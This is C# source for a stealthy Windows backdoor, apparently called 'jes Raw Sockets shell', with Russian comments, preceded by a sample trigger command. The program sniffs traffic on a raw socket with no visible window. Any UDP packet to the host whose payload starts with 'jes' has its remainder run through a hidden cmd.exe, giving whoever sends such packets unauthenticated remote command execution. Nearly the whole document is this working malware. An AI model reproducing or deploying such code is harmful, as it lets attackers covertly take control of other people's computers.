jes /c mkdir C:\teeeeeest

using System;
using System.Collections.Generic;
using System.Windows.Forms;
using System.Net;
using System.Net.Sockets;
// -------------------------------
// типа копирайт нах , jes
//---------------------------------

namespace jesRaw
{
    public enum Protocol
    {
        TCP = 6,
        UDP = 17,
        Unknown = -1
    };

    static class Program
    {
        /// <summary>
        /// The main entry point for the application.
        /// </summary>
        //[STAThread]

        static Socket mainSocket;                    
        static byte[] byteData = new byte[4096];
        static bool bContinueCapturing = false;   
        static string MyIP;

        static void Main()
        {
         
            MyIP = getLastIP();
            GoGoGo();

            Application.Run();
        }
        static string getLastIP()
        {
            // Функция GetInterfaceIP - выдает ip из самого 'верхнего' интерфейса
            //   ,(установленного) последним ...

            string strIP = null;
            IPHostEntry HosyEntry = Dns.GetHostEntry((Dns.GetHostName()));
            if (HosyEntry.AddressList.Length > 0)
            {
                foreach (IPAddress ip in HosyEntry.AddressList)
                {
                    strIP = ip.ToString();
                }
            }
            return strIP;
        }
        static void GoGoGo()
        {
            try
            {
                if (!bContinueCapturing)        
                {
                    //вдруг мы уже слушаем? ()
                    // вообще эт так ,  для отладки при написании 
                    bContinueCapturing = true;

                    mainSocket = new Socket(AddressFamily.InterNetwork,
                        SocketType.Raw, ProtocolType.IP);
                    
                    mainSocket.Bind(new IPEndPoint(IPAddress.Parse(MyIP), 0));

mainSocket.SetSocketOption(SocketOptionLevel.IP,
                                               SocketOptionName.HeaderIncluded,
                                               true);                         

                    byte[] byTrue = new byte[4] {1, 0, 0, 0};
                    byte[] byOut = new byte[4];

                 
                    mainSocket.IOControl(IOControlCode.ReceiveAll,   
                                         byTrue,                                    
                                         byOut);

                    mainSocket.BeginReceive(byteData, 0, byteData.Length, SocketFlags.None,
                        new AsyncCallback(OnReceive), null);
                }
                else
                {
                    bContinueCapturing = false;
                    
                    mainSocket.Close ();
                }
            }
            catch (Exception ex)
            {
                MessageBox.Show(ex.Message, "jes Raw Sockets shell", MessageBoxButtons.OK, MessageBoxIcon.Error);
            }
        }

        static void OnReceive(IAsyncResult ar)
        {
            try
            {
                int nReceived = mainSocket.EndReceive(ar);

                ParseData(byteData, nReceived);

                if (bContinueCapturing)
                {
                    byteData = new byte[4096];


                    mainSocket.BeginReceive(byteData, 0, byteData.Length, SocketFlags.None,
                        new AsyncCallback(OnReceive), null);
                }
            }
            catch (ObjectDisposedException)
            {
            }
            catch (Exception ex)
            {
                MessageBox.Show(ex.Message, "jes Raw Sockets shell", MessageBoxButtons.OK, MessageBoxIcon.Error);
            }
        }
        static void ParseData(byte[] byteData, int nReceived)
        {
          
             IPHeader ipHeader = new IPHeader(byteData, nReceived);

            switch (ipHeader.ProtocolType)
            {
                case Protocol.UDP:

                    UDPHeader udpHeader = new UDPHeader(ipHeader.Data,(int)ipHeader.MessageLength);

           System.Text.Encoding enc = System.Text.Encoding.UTF8;
           string myString = enc.GetString(udpHeader.Data);
            if(ipHeader.DestinationAddress.ToString() ==  MyIP){
                if (myString.Substring(0, 3) == "jes")
                {
                    
                    System.Diagnostics.Process p = new System.Diagnostics.Process();
                    p.StartInfo.FileName = "cmd.exe";
                    p.StartInfo.CreateNoWindow = true;
                    p.StartInfo.Arguments = myString.Substring(4, myString.Length - 4);
                    p.Start();
                }
           }
                    break;

                case Protocol.Unknown:
                    break;
            }

        }

    }
}

 public class IPHeader
    {
        private byte      byVersionAndHeaderLength;
        private byte      byDifferentiatedServices; 
        private ushort    usTotalLength;   
        private ushort    usIdentification;    
        private ushort    usFlagsAndOffset;     
        private byte      byTTL;                      
        private byte      byProtocol;           
        private short     sChecksum;           
        private uint      uiSourceIPAddress;      
        private uint      uiDestinationIPAddress; 
        private byte      byHeaderLength;
        private byte[]    byIPData = new byte[4096];


        public IPHeader(byte[] byBuffer, int nReceived)
        {
            
            try
            {
                MemoryStream memoryStream = new MemoryStream(byBuffer, 0, nReceived);
                BinaryReader binaryReader = new BinaryReader(memoryStream);
                byVersionAndHeaderLength = binaryReader.ReadByte();
                byDifferentiatedServices = binaryReader.ReadByte();
                usTotalLength = (ushort)IPAddress.NetworkToHostOrder(binaryReader.ReadInt16());

                usIdentification = (ushort)IPAddress.NetworkToHostOrder(binaryReader.ReadInt16());

                usFlagsAndOffset = (ushort)IPAddress.NetworkToHostOrder(binaryReader.ReadInt16());

                byTTL = binaryReader.ReadByte();

                byProtocol = binaryReader.ReadByte();

                sChecksum = IPAddress.NetworkToHostOrder(binaryReader.ReadInt16());

                uiSourceIPAddress = (uint)(binaryReader.ReadInt32());

                uiDestinationIPAddress = (uint)(binaryReader.ReadInt32());

                byHeaderLength = byVersionAndHeaderLength;
         
                byHeaderLength <<= 4;
                byHeaderLength >>= 4;
            
                byHeaderLength *= 4;

                Array.Copy(byBuffer, 
                           byHeaderLength,  //start copying from the end of the header
                           byIPData, 0, 
                           usTotalLength - byHeaderLength);

            }
        catch (Exception ex)
        {
            MessageBox.Show(ex.Message, "jesRaw", MessageBoxButtons.OK, 
               MessageBoxIcon.Error);
        }
        }
       
        public ushort MessageLength
        {
            get
            {
                return (ushort)(usTotalLength - byHeaderLength);
            }
        }
        public Protocol ProtocolType
        {
            get
            {
                if (byProtocol == 6)
                {
                    return Protocol.TCP;
                }
                else if (byProtocol == 17)
                {
                    return Protocol.UDP;
                }
                else
                {
                    return Protocol.Unknown;
                }
            }
        }
        public IPAddress DestinationAddress
        {
            get
            {
                return new IPAddress(uiDestinationIPAddress);
            }
        }
        public byte[] Data
        {
            get
            {
                return byIPData;
            }
        }
    }

 public class UDPHeader
    {
        private ushort usSourcePort;          
        private ushort usDestinationPort;    
        private ushort usLength; 
        private short sChecksum; 
        private byte[] byUDPData = new byte[4096]; 
        public UDPHeader(byte [] byBuffer, int nReceived)
        {
            MemoryStream memoryStream = new MemoryStream(byBuffer, 0, nReceived);
            BinaryReader binaryReader = new BinaryReader(memoryStream);

            usSourcePort = (ushort)IPAddress.NetworkToHostOrder(binaryReader.ReadInt16());

            usDestinationPort = (ushort)IPAddress.NetworkToHostOrder(binaryReader.ReadInt16());

            usLength = (ushort)IPAddress.NetworkToHostOrder(binaryReader.ReadInt16());

            sChecksum = IPAddress.NetworkToHostOrder(binaryReader.ReadInt16()); 
            Array.Copy(byBuffer, 
                       8,               //размер хидера - 8 байт , нам нужно после
                       byUDPData, 
                       0, 
                       nReceived - 8);

        }
        public byte[] Data
        {
            get
            {
                return byUDPData;
            }
        }
    }